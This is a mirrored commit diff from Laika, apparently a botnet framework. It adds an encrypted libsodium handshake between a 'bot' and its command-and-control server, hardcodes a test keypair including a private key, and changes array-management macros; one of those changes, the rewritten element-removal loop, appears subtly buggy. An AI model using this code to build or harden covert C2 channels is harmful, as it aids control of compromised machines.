mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
Added key exchange to LAIKA_HANDSHAKE_*
- test keys are defined in laika.h - bug fixes & refactoring with laikaM_growarray()
This commit is contained in:
parent
203b5ce38f
commit
a023929190
@ -6,10 +6,12 @@
|
||||
#include "lsocket.h"
|
||||
#include "lpeer.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lrsa.h"
|
||||
|
||||
struct sLaika_bot {
|
||||
struct sLaika_peer *peer;
|
||||
uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES], nonce[LAIKA_NONCESIZE];
|
||||
struct sLaika_pollList pList;
|
||||
struct sLaika_peer *peer;
|
||||
};
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void);
|
||||
|
@ -1,17 +1,30 @@
|
||||
#include "lmem.h"
|
||||
#include "lrsa.h"
|
||||
#include "lerror.h"
|
||||
#include "bot.h"
|
||||
|
||||
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
|
||||
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + crypto_box_SEALBYTES + LAIKA_NONCESIZE
|
||||
};
|
||||
|
||||
void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
|
||||
switch (id) {
|
||||
case LAIKAPKT_HANDSHAKE_RES: {
|
||||
uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE], nonce[LAIKA_NONCESIZE];
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
|
||||
/* read & decrypt nonce */
|
||||
laikaS_read(&peer->sock, encNonce, sizeof(encNonce));
|
||||
if (crypto_box_seal_open(nonce, encNonce, crypto_box_SEALBYTES + LAIKA_NONCESIZE, bot->pub, bot->priv) != 0)
|
||||
LAIKA_ERROR("Failed to decrypt nonce!\n");
|
||||
|
||||
/* check nonce */
|
||||
if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0)
|
||||
LAIKA_ERROR("Mismatched nonce!\n");
|
||||
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
LAIKA_DEBUG("handshake accepted by cnc!\n")
|
||||
break;
|
||||
}
|
||||
@ -22,6 +35,7 @@ void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void) {
|
||||
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||
size_t _unused;
|
||||
|
||||
laikaP_initPList(&bot->pList);
|
||||
bot->peer = laikaS_newPeer(
|
||||
@ -30,7 +44,26 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
&bot->pList,
|
||||
(void*)bot
|
||||
);
|
||||
laikaS_setKeys(bot->peer, bot->priv, bot->pub);
|
||||
|
||||
/* generate keypair */
|
||||
if (sodium_init() < 0) {
|
||||
laikaB_freeBot(bot);
|
||||
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
||||
}
|
||||
|
||||
if (crypto_box_keypair(bot->pub, bot->priv) != 0) {
|
||||
laikaB_freeBot(bot);
|
||||
LAIKA_ERROR("Failed to gen keypair!\n");
|
||||
}
|
||||
|
||||
if (sodium_hex2bin(bot->peer->peerPub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
|
||||
laikaB_freeBot(bot);
|
||||
LAIKA_ERROR("Failed to init cnc public key!\n");
|
||||
}
|
||||
|
||||
/* gen nonce test */
|
||||
randombytes_buf(bot->nonce, LAIKA_NONCESIZE);
|
||||
return bot;
|
||||
}
|
||||
|
||||
@ -41,6 +74,7 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
}
|
||||
|
||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE];
|
||||
struct sLaika_socket *sock = &bot->peer->sock;
|
||||
|
||||
/* setup socket */
|
||||
@ -49,11 +83,17 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
|
||||
laikaP_addSock(&bot->pList, sock);
|
||||
|
||||
/* encrypt nonce using cnc's pubkey */
|
||||
if (crypto_box_seal(encNonce, bot->nonce, sizeof(bot->nonce), bot->peer->peerPub) != 0)
|
||||
LAIKA_ERROR("Failed to enc nonce!\n");
|
||||
|
||||
/* queue handshake request */
|
||||
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
|
||||
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
||||
laikaS_write(sock, encNonce, sizeof(encNonce)); /* write encrypted nonce test */
|
||||
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
|
||||
|
||||
if (!laikaS_handlePeerOut(bot->peer))
|
||||
LAIKA_ERROR("failed to send handshake request!\n")
|
||||
|
@ -8,6 +8,7 @@
|
||||
#include "lpeer.h"
|
||||
|
||||
struct sLaika_cnc {
|
||||
uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES];
|
||||
struct sLaika_socket sock;
|
||||
struct sLaika_pollList pList;
|
||||
};
|
||||
|
@ -1,17 +1,21 @@
|
||||
#include "lmem.h"
|
||||
#include "lrsa.h"
|
||||
#include "lsocket.h"
|
||||
#include "lerror.h"
|
||||
|
||||
#include "cnc.h"
|
||||
|
||||
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t)
|
||||
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_box_SEALBYTES + LAIKA_NONCESIZE + crypto_box_PUBLICKEYBYTES
|
||||
};
|
||||
|
||||
void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
||||
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
|
||||
|
||||
switch (id) {
|
||||
case LAIKAPKT_HANDSHAKE_REQ: {
|
||||
char magicBuf[LAIKA_MAGICLEN];
|
||||
uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE], nonce[LAIKA_NONCESIZE];
|
||||
uint8_t major, minor;
|
||||
|
||||
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
|
||||
@ -21,11 +25,24 @@ void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
||||
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|
||||
|| major != LAIKA_VERSION_MAJOR
|
||||
|| minor != LAIKA_VERSION_MINOR)
|
||||
LAIKA_ERROR("invalid handshake request!");
|
||||
LAIKA_ERROR("invalid handshake request!\n");
|
||||
|
||||
/* read & decrypt nonce */
|
||||
laikaS_read(&peer->sock, encNonce, sizeof(encNonce));
|
||||
if (crypto_box_seal_open(nonce, encNonce, sizeof(encNonce), cnc->pub, cnc->priv) != 0)
|
||||
LAIKA_ERROR("Failed to decrypt nonce!\n");
|
||||
|
||||
/* read peer's public key */
|
||||
laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));
|
||||
|
||||
/* encrypt decrypted nonce with peer's pub key */
|
||||
if (crypto_box_seal(encNonce, nonce, sizeof(nonce), peer->peerPub) != 0)
|
||||
LAIKA_ERROR("Failed to enc nonce!\n");
|
||||
|
||||
/* queue response */
|
||||
laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES);
|
||||
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
|
||||
laikaS_write(&peer->sock, encNonce, sizeof(encNonce));
|
||||
|
||||
LAIKA_DEBUG("accepted handshake from peer %x\n", peer);
|
||||
break;
|
||||
@ -35,6 +52,7 @@ void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
||||
|
||||
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
||||
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
|
||||
size_t _unused;
|
||||
|
||||
/* init socket & pollList */
|
||||
laikaS_initSocket(&cnc->sock);
|
||||
@ -46,6 +64,21 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
||||
/* add sock to pollList */
|
||||
laikaP_addSock(&cnc->pList, &cnc->sock);
|
||||
|
||||
if (sodium_init() < 0) {
|
||||
laikaC_freeCNC(cnc);
|
||||
LAIKA_ERROR("LibSodium failed to initialize!\n");
|
||||
}
|
||||
|
||||
if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
|
||||
laikaC_freeCNC(cnc);
|
||||
LAIKA_ERROR("Failed to init cnc public key!\n");
|
||||
}
|
||||
|
||||
if (sodium_hex2bin(cnc->priv, crypto_box_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
|
||||
laikaC_freeCNC(cnc);
|
||||
LAIKA_ERROR("Failed to init cnc private key!\n");
|
||||
}
|
||||
|
||||
return cnc;
|
||||
}
|
||||
|
||||
@ -82,6 +115,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
||||
&cnc->pList,
|
||||
(void*)cnc
|
||||
);
|
||||
laikaS_setKeys(peer, cnc->priv, cnc->pub);
|
||||
|
||||
/* setup and accept new peer */
|
||||
laikaS_acceptFrom(&peer->sock, &cnc->sock);
|
||||
|
@ -25,4 +25,13 @@
|
||||
#define LAIKA_VERSION_MINOR 0
|
||||
#endif
|
||||
|
||||
/* for testing!! make sure you pass your generated keypair to cmake */
|
||||
#ifndef LAIKA_PUBKEY
|
||||
#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
|
||||
#endif
|
||||
|
||||
#ifndef LAIKA_PRIVKEY
|
||||
#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
|
||||
#endif
|
||||
|
||||
#endif
|
@ -8,15 +8,17 @@
|
||||
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
|
||||
#define laikaM_free(buf) laikaM_realloc(buf, 0)
|
||||
|
||||
#define laikaM_growarray(type, buf, count, capacity) \
|
||||
if (count >= capacity || buf == NULL) { \
|
||||
capacity *= GROW_FACTOR; \
|
||||
#define laikaM_growarray(type, buf, needed, count, capacity) \
|
||||
if (count + needed >= capacity || buf == NULL) { \
|
||||
capacity = (capacity + needed) * GROW_FACTOR; \
|
||||
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
|
||||
}
|
||||
|
||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||
#define laikaM_rmvarray(type, buf, count, indx, numElem) { \
|
||||
memmove(&buf[indx], &buf[indx+numElem], ((count-indx)-numElem)*sizeof(type)); \
|
||||
int _i, _sz = ((count-indx)-numElem)*sizeof(type); \
|
||||
for (_i = 0; _i < _sz; _i++) \
|
||||
buf[indx+_i] = buf[indx+numElem+_i]; \
|
||||
count -= numElem; \
|
||||
}
|
||||
|
||||
|
@ -6,9 +6,22 @@
|
||||
|
||||
#define LAIKA_MAX_PKTSIZE 4096
|
||||
|
||||
#define LAIKA_NONCESIZE 16
|
||||
|
||||
enum {
|
||||
LAIKAPKT_HANDSHAKE_REQ,
|
||||
/* layout of LAIKAPKT_HANDSHAKE_REQ:
|
||||
* uint8_t laikaMagic[LAIKA_MAGICLEN];
|
||||
* uint8_t majorVer;
|
||||
* uint8_t minorVer;
|
||||
* uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE]; -- encrypted using shared pubKey
|
||||
* uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_RES,
|
||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||
* uint8_t endian;
|
||||
* uint8_t reEncryptedNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE]; -- encrypted using received pubKey from LAIKAPKT_AUTH_REQ pkt
|
||||
*/
|
||||
LAIKAPKT_VARPKT_REQ,
|
||||
LAIKAPKT_MAXNONE
|
||||
};
|
||||
|
@ -5,6 +5,7 @@
|
||||
#include "lsocket.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lrsa.h"
|
||||
|
||||
typedef enum {
|
||||
PEER_BOT,
|
||||
@ -14,6 +15,9 @@ typedef enum {
|
||||
|
||||
struct sLaika_peer {
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
||||
uint8_t *priv; /* key to decrypt incoming packets */
|
||||
uint8_t *pub; /* pub key matching to priv */
|
||||
uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */
|
||||
struct sLaika_pollList *pList; /* pollList we're active in */
|
||||
void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData);
|
||||
void *uData; /* data to be passed to pktHandler */
|
||||
@ -27,6 +31,8 @@ struct sLaika_peer {
|
||||
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||
|
||||
void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub);
|
||||
|
||||
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
|
||||
bool laikaS_handlePeerOut(struct sLaika_peer *peer);
|
||||
|
||||
|
@ -10,12 +10,19 @@ struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer,
|
||||
peer->pktSizeTable = pktSizeTable;
|
||||
peer->pList = pList;
|
||||
peer->uData = uData;
|
||||
peer->priv = NULL;
|
||||
peer->pub = NULL;
|
||||
peer->pktSize = 0;
|
||||
peer->pktID = LAIKAPKT_MAXNONE;
|
||||
peer->setPollOut = false;
|
||||
return peer;
|
||||
}
|
||||
|
||||
void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub) {
|
||||
peer->priv = priv;
|
||||
peer->pub = pub;
|
||||
}
|
||||
|
||||
void laikaS_freePeer(struct sLaika_peer *peer) {
|
||||
laikaS_cleanSocket(&peer->sock);
|
||||
laikaM_free(peer);
|
||||
|
@ -66,7 +66,7 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
|
||||
#else
|
||||
/* allocate space in array & add PollFD */
|
||||
laikaM_growarray(PollFD, pList->fds, pList->fdCount, pList->fdCapacity);
|
||||
laikaM_growarray(PollFD, pList->fds, 1, pList->fdCount, pList->fdCapacity);
|
||||
pList->fds[pList->fdCount++] = (PollFD){sock->sock, POLLIN};
|
||||
#endif
|
||||
}
|
||||
@ -152,7 +152,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
|
||||
for (i = 0; i < nEvents; i++) {
|
||||
/* add event to revent array */
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, pList->reventCount, pList->reventCapacity);
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
|
||||
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
||||
.sock = pList->ep_events[i].data.ptr,
|
||||
.pollIn = pList->ep_events[i].events & EPOLLIN,
|
||||
@ -173,7 +173,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
struct sLaika_socket *sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
|
||||
|
||||
/* insert event into revents array */
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, pList->reventCount, pList->reventCapacity);
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
|
||||
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
||||
.sock = sock,
|
||||
.pollIn = pfd.revents & POLLIN,
|
||||
|
@ -177,7 +177,7 @@ void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
/* make sure we have enough space to copy the buffer */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sock->outCount + sz, sock->outCap);\
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);\
|
||||
|
||||
/* copy the buffer, then increment outCount */
|
||||
memcpy(&sock->outBuf[sock->outCount], buf, sz);
|
||||
@ -185,7 +185,7 @@ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
}
|
||||
|
||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) {
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sock->outCount, sock->outCap);
|
||||
laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
|
||||
sock->outBuf[sock->outCount++] = data;
|
||||
}
|
||||
|
||||
@ -234,7 +234,7 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
int rcvd, start = sock->inCount;
|
||||
|
||||
/* make sure we have enough space to recv */
|
||||
laikaM_growarray(uint8_t, sock->inBuf, sock->inCount + sz, sock->inCap);
|
||||
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
|
||||
rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
|
||||
|
||||
if (rcvd == 0) {
|
||||
|
Loading…
Reference in New Issue
Block a user